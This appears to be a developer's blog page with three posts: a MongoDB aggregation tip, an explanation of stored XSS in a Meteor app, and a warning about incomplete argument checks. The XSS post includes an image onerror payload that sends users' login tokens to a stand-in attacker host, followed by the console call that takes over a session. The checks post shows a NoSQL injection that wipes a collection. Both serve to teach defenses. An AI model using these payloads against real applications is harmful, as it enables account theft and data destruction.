Counting Fields With Mongo Aggregations

Written by Pete Corey on Sep 14, 2015.

This past week I spent time wrestling with a particularly difficult MongoDB aggregation. For my own sake, I figured I should document what I learned.

Imagine you have a set of users working through various workflows. The users’ current workflow state is held in a subdocument whos name relates to the name of their active workflow. For example, the first two users below are currently in workflow “A”, while the third user is in workflow “B”:

/* 0 */
{
  _id: "...",
  workflow: {
    A: {
      pos: 3
    }
  }
}

/* 1 */
{
  _id: "...",
  workflow: {
    A: {
      pos: 1
    }
  }
}

/* 2 */
{
  _id: "...",
  workflow: {
    B: {
      pos: 4
    }
  }
}

My goal is to find out how many users are currently in workflow “A”, and how many are in workflow “B”. Without further ado, here’s the aggregate query I ended up with:

db.users.aggregate([
    {
        $group: {
            _id: null,
            in_workflow_a: {$sum: {$cond: [{$gte: ['$workflow.A, null]}, 1, 0]}},
            in_workflow_b: {$sum: {$cond: [{$gte: ['$workflow.B, null]}, 1, 0]}}
        }
    }
])

Let’s break it down piece by piece.

Since I’m interested the states of all users in the system, I’m not using a $match block. If you wish to you limit your query to a specific subset of users, you could do that filter in an initial $match:

db.users.aggregate([
    {
        $match: {
            _id: {
                $in: [
                    user Ids...
                ]
            }
        }
    },
    ...
])

The first thing you’ll notice about the $group block is that we’re specifying a null _id. This use of _id is fairly well documented, and essentially means we’ll group all of the documents we’re matching over into a single result document.

The next bit is the interesting part. We’re defining two fields that will appear in our result document: in_workflow_a, and in_workflow_b. We build up each of these fields with a $sum. We want to add 1 to these fields if the respective workflow subdocument exists, and 0 if it does not. We accomplish this by using the $cond aggregation operator.

The way we’re using $cond is fairly interesting. My first attempts at writting this aggregation used $exists within the $cond, but Mongo was unhappy about that:

uncaught exception: aggregate failed: {
  "errmsg" : "exception: dotted field names are only allowed at the top level",
  "code" : 16405,
  "ok" : 0
}

David Weldon led me out of the darkness with an interesting comparison trick. By using $gte to compare the potentially non-existant workflow object against null, we can easily determine whether it exists or not. When Mongo compares values of different types, it uses this comparison order. As you can see, aside from the internally used MinKey type, every other BSON type is considered canonically greater than null. This means that an empty or null field will return false, and any other types or values will return true!

The final result of our aggregation looks something like this:

/* 0 */
{
    "result" : [ 
        {
            "_id" : null,
            "in_workflow_a" : 2,
            "in_workflow_b" : 1
        }
    ],
    "ok" : 1
}

Victory! The aggregation loops through all users in the system, incrementing the counter for each users current workflow, and finally returns the total counts.

Hijacking Meteor Accounts With XSS

Written by Pete Corey on Sep 7, 2015.

You’ve probably heard the term “XSS”, or cross-site scripting, floating around the Meteor community. You’ve probably also heard that the browser-policy package prevents XSS. Great! But… What is XSS?

Let’s pretend that we’ve built an awesome new Telescope application, and we’ve decided to get a little radical with our design. We’ve given our users the ability to embed images in their post titles! Our custom post_title template looks something like this:

<template name="custom_post_title">
  <h3 class="post-title {{moduleClass}}">
    <a href="{{this.getLink}}">{{{title}}}</a>
  </h3>
</template>

Great! Now our users can use <img> tags to embed pictures directly in their post titles. There’s absolutely nothing that go wrong here, right? Well…

The Dangers of XSS

This change has actually exposed our application to a particularly dangerous form of cross-site scripting; Stored XSS. We’ve given users the ability to enter potentially malicious markup in their titles. Check out this example title:

<img src="fakeurl"
     onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
     alt="Cats suck!">

Now, imagine that the bad person who posted this title has a simple web server running on www.malicio.us listening for and logging any GET requests it recieves. After a few innocent users stumble across this post on our Telescope application, their sensitive login tokens would be pulled from their local storage and sent to malicio.us. The malicio.us web logs would look something like this:

GET http://www.malicio.us/g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D
GET http://www.malicio.us/LPPp7Tdb_qveRwa7-dLeCAxpqpc9oYM53Gt0HG6kwQ5
GET http://www.malicio.us/go9olSuebBjfQQqTrL-86d_LlfcctG848r7dBhW_kCL

The attacker who posted the malicious title could easily steal any of these active sessions by navigating to our Meteor application and running the following code in their browser console:

Meteor.loginWithToken("g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D");

And just like that, a user’s account has been stolen.


The crux of the issue here is that we’re using a triple-brace tag to insert raw HTML directly into the DOM. Without any kind of sanitation or validation, we have no way of knowing that users aren’t providing us with malicious markup that will potentially run on all of our users’ browsers.

In this case, the attacker simply grabbed the current user’s loginToken out of local storage with the intent of hijacking their account. XSS attacks can be far more sophisticated, though. They can be as subtle as silently calling methods on behalf of the client, and as lavish as constructing entire user interface components designed to extract sensitive information (credentials, credit card numbers, etc…) from users.

Your Meteor application is not solely exposed to cross-site scripting through the use of triple-brace tags. Malicious HTML/JavaScript can be introduced into your Blaze-powered application through the use of SafeString, dynamic attributes, and dynamic attribute values, to name a few. When using these techniques with user-provided data, be especially sure that you’re properly sanitizing or validating the data before sending it into the DOM.

Browser-policy as a safety net

The browser-policy package enables your Meteor application to establish its Content Security Policy, or CSP. The goal of CSP is to prevent unexpected JavaScript from running on your page.

However, browser-policy package is not a turnkey solution to our XSS problem. It requires some configuration to be especially useful. David Weldon has an excellent guide outlining the benefits of using browser-policy and how to go about tuning it to your application. For our application, we would want to make sure that we’re disallowing inline scripts:

BrowserPolicy.content.disallowInlineScripts();

By disallowing inline scripts, the JavaScript found in the onerror of the image tag would not be allowed to run. This would effectively stop the XSS attack dead in its tracks.

While CSP is an amazing tool that can be used to harden your application against attackers, I believe that it should be considered your last line of defense. You should always try to find and eradicate all potential sources of cross-site scripting, rather than relying on the browser-policy to prevent it. There is always the chance that you may have misconfigured your browser-policy. On top of that, Content Security Policy isn’t supported on older browsers.

Final Thoughts

Keep in mind that this was just a single example of cross-site scripting in action. Attackers can use a variety of other techniques and methods in order to achieve their nefarious intents.

The truth is, XSS attacks are relatively rare in Meteor applications. The Meteor team made a great decision when going with a secure default for value interpolation (double-brace tags). However, there are still scenarios where XSS can rear its ugly head in your Meteor application. In addition to using and configuring browser-policy, you should try to identify and fix any potential areas where cross-site scripting may occur.

Incomplete Argument Checks

Written by Pete Corey on Aug 31, 2015.

I’ve been shouting for months about the importance of checking your method and publication arguments. But what do I mean when I say that? Is checking your arguments as simple as throwing in a check(argument, Match.Any); statement and moving on with your life? Absolutely not!

Incomplete Checks

I frequently see people running incomplete checks against their method and publication arguments. Check out this quick example:

Meteor.methods({
  processEvent: function(event) {
    check(event, Object);

    // Do processing...
    
    Events.remove(event._id);
  }
});

The processEvent takes in an event object, does some processing on it, and then removes the event object from the Events collection. This is all fine and good. We’re even checking the event argument!

Unfortunately, we’re not checking event thoroughly enough. What would happen if a user were to run this code in their browser console?

Meteor.call("processEvent", {_id: {$ne: ""}});

{_id: {$ne: ""}} is, in fact, an object, so it slips past the check statement. Unexpectedly though, the _id within event is an object as well. After processing the event object, the processEvent method would go on to remove all events in the Events collection. Behold the dangers of incomplete checks!

A More Thorough Check

The solution to this issue is to more thoroughly check the event argument. If we’re expecting event to be an object, we want to make a type assertion (and sometimes even a value assertion) over each field in that object. Take a look:

Meteor.methods({
  processEvent: function(event) {
    check(event, {
      _id: String,
      // Check more fields here...
      // name: String,
      // data: {
      //   value: Number
      // }
    });

    // Do processing...
    
    Events.remove(event._id);
  }
});

By checking that the _id of the event object is a string, we can avoid potential NoSQL injections that could wreak havoc within our application.

Final Thoughts

Incomplete checks can take many forms, be it check(..., Object);, check(..., Match.Any);, check(..., Match.Where(...));, etc… Regardless of the form they come in, incomplete checks are all little flaws stitched together with good intentions.

Checking your arguments is vitally important for a huge number of reasons, but it’s important that you follow through completely with your good intentions. Stopping with incomplete checks can leave you with a false sense of security and a vulnerable application.

Always (thoroughly) check your arguments!